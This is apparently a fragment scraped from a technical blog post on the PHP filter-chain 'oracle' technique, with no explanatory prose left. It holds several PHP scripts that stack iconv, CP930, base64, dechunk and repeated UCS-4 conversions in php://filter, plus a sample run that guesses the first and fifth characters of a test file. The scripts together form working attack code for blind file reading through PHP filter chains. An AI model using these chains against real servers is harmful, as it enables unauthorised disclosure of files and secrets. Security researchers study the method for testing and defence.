<?php$guess_char="";for($i=1;$i<=7;$i++){$remove_junk_chars="convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";$guess_char.="convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";$filter="php://filter/$guess_char/resource=/tmp/test";echo"IBM-930 conversions : ".$i;echo", First char value : ".file_get_contents($filter)[0]."\n";}
执行
1
2
3
4
5
6
7
8
9
$ echo'aSTART' > /tmp/test
$ php oracle.php
IBM-930 conversions : 1, First char value : b
IBM-930 conversions : 2, First char value : c
IBM-930 conversions : 3, First char value : d
IBM-930 conversions : 4, First char value : e
IBM-930 conversions : 5, First char value : f
IBM-930 conversions : 6, First char value : g
IBM-930 conversions : 7, First char value : h
<?php$size_bomb="";for($i=1;$i<=13;$i++){$size_bomb.="convert.iconv.UTF8.UCS-4|";}$guess_char="";$index=0;for($i=1;$i<=6;$i++){$remove_junk_chars="convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";$guess_char.="convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";$filter="php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test";file_get_contents($filter);echo"IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."\n";}
<?php$string="START";$size_bomb="";for($i=1;$i<=13;$i++){$size_bomb.="convert.iconv.UTF8.UCS-4|";}$guess_char="";$index=0;for($i=1;$i<=6;$i++){$remove_junk_chars="convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";$guess_char.="convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars|";$rot13filter="string.rot13|";$filter="php://filter/$rot13filter$guess_char|dechunk|$size_bomb/resource=/tmp/test";file_get_contents($filter);echo"IBM-930 conversions : ".$i.", the first character is "."rqpon"[$i-1]."\n";}
<?php$size_bomb="";for($i=1;$i<=20;$i++){$size_bomb.="convert.iconv.UTF8.UCS-4|";}$guess_char="";$index=0;for($i=1;$i<=6;$i++){$remove_junk_chars="convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";$guess_char.="convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";$swap_bits="convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|";$filter="php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test";file_get_contents($filter);echo"IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."\n";}